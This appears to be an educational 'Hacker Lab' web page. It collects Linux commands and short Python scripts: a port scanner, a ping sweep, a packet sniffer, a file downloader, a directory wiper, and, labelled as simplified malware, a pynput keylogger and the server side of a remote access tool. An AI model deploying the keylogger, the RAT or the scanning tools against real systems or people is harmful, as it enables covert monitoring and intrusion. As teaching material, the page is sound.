The content of this Hacker Lab is intended for educational purposes only. The scripts and examples provided are meant to demonstrate various hacking techniques and should only be used in legal and ethical contexts. Unauthorized access to computer systems, networks, or data is illegal and can result in severe penalties. By using this lab, you agree to follow all applicable laws and regulations regarding computer security and ethical hacking.
Welcome to the Hacker Lab! Here you can find various tools and scripts for your hacking adventures.
# List files and directories ls -la # Change directory cd /path/to/directory # Copy files and directories cp -r source_directory destination_directory # Use -r for directories # Move or rename files and directories mv old_name new_name # Remove files or directories rm file_name rm -r directory_name # Use -r to remove directories and their contents # Show current working directory pwd # Display system information uname -a # Check disk usage df -h # Display active processes top # Kill a process by ID kill# Search for a string in files grep "search_term" file_name
These commands are fundamental for navigating and managing files on Linux systems. Familiarity with these commands is crucial for effective system administration and penetration testing.
import socket def scan_ports(host, start_port, end_port): print(f"Scanning {host} from port {start_port} to {end_port}...") open_ports = [] for port in range(start_port, end_port + 1): with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock: sock.settimeout(1) # Set timeout for the connection result = sock.connect_ex((host, port)) if result == 0: open_ports.append(port) print(f"Port {port} is open.") else: print(f"Port {port} is closed.") if not open_ports: print("No open ports found.") else: print(f"Open ports: {open_ports}") return open_ports if __name__ == "__main__": target_host = input("Enter the host to scan (e.g., 192.168.1.1): ") scan_ports(target_host, 1, 1024) # Scanning ports 1-1024
This script scans for open ports on a specified host. Understanding open ports is critical for assessing the security of a system, as they can provide entry points for attackers.
import os import platform import threading def ping(host): param = '-n' if platform.system().lower() == 'windows' else '-c' command = f'ping {param} 1 {host}' return os.system(command) == 0 def ping_sweep(subnet): live_hosts = [] print(f"Pinging hosts in the subnet {subnet}...") def ping_thread(ip): if ping(ip): live_hosts.append(ip) print(f"{ip} is alive.") threads = [] for i in range(1, 255): ip = f"{subnet}.{i}" thread = threading.Thread(target=ping_thread, args=(ip,)) threads.append(thread) thread.start() for thread in threads: thread.join() if not live_hosts: print("No live hosts found.") else: print(f"Live hosts: {live_hosts}") if __name__ == "__main__": target_subnet = input("Enter the subnet (e.g., 192.168.1): ") ping_sweep(target_subnet)
This script performs a ping sweep to discover live hosts in a given subnet. It utilizes multithreading for efficiency, allowing simultaneous pings to multiple IP addresses.
import requests def check_website(url): try: response = requests.get(url) if response.status_code == 200: print(f"The website {url} is up!") print(f"Response time: {response.elapsed.total_seconds()} seconds") else: print(f"The website {url} returned status code: {response.status_code}") except requests.ConnectionError: print(f"The website {url} is down.") if __name__ == "__main__": target_url = input("Enter the website URL (e.g., http://example.com): ") check_website(target_url)
This tool checks the status of a given website, returning its availability and response time. It's useful for monitoring the uptime of websites.
from scapy.all import sniff, IP def packet_callback(packet): if IP in packet: print(f"Packet captured: {packet[IP].src} -> {packet[IP].dst}") if __name__ == "__main__": print("Starting packet sniffer... Press Ctrl+C to stop.") sniff(prn=packet_callback, filter="ip", store=0) # Capture all IP packets
This script uses Scapy to capture and display IP packets on the network. It's a powerful tool for analyzing network traffic and identifying suspicious activity.
import requests def download_file(url): local_filename = url.split('/')[-1] print(f"Downloading {local_filename} from {url}...") with requests.get(url, stream=True) as r: r.raise_for_status() with open(local_filename, 'wb') as f: for chunk in r.iter_content(chunk_size=8192): f.write(chunk) print(f"{local_filename} downloaded successfully!") if __name__ == "__main__": file_url = input("Enter the file URL to download: ") download_file(file_url)
This script downloads files from a specified URL. It's useful for obtaining files from the internet directly to your machine.
import http.server import socketserver PORT = 8000 Handler = http.server.SimpleHTTPRequestHandler with socketserver.TCPServer(("", PORT), Handler) as httpd: print(f"Serving at port {PORT}") httpd.serve_forever()
This simple HTTP server serves files from the current directory on port 8000. It's useful for quickly sharing files over the local network.
import os import shutil def clean_directory(directory): for filename in os.listdir(directory): file_path = os.path.join(directory, filename) if os.path.isfile(file_path): os.remove(file_path) # Remove files print(f"Removed file: {file_path}") elif os.path.isdir(file_path): shutil.rmtree(file_path) # Remove directories print(f"Removed directory: {file_path}") if __name__ == "__main__": target_directory = input("Enter the directory to clean: ") clean_directory(target_directory)
This script cleans a specified directory by removing all files and subdirectories. Use with caution!
Below are simplified examples of malware scripts. These should **never** be used for malicious purposes.
import pynput def on_press(key): print(f"Key {key} pressed.") with pynput.keyboard.Listener(on_press=on_press) as listener: listener.join()
This keylogger captures keystrokes. It demonstrates the concept of keylogging but should be used responsibly for ethical testing only.
import socket def rat_server(): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(('0.0.0.0', 9999)) server.listen(5) print("RAT server listening...") while True: client_socket, addr = server.accept() print(f"Connection from {addr}") command = input("Enter command to execute: ") client_socket.send(command.encode()) response = client_socket.recv(4096) print(response.decode()) client_socket.close() if __name__ == "__main__": rat_server()
This Remote Access Tool (RAT) accepts commands from the attacker and sends responses back. This example is for educational purposes only; unauthorized access is illegal.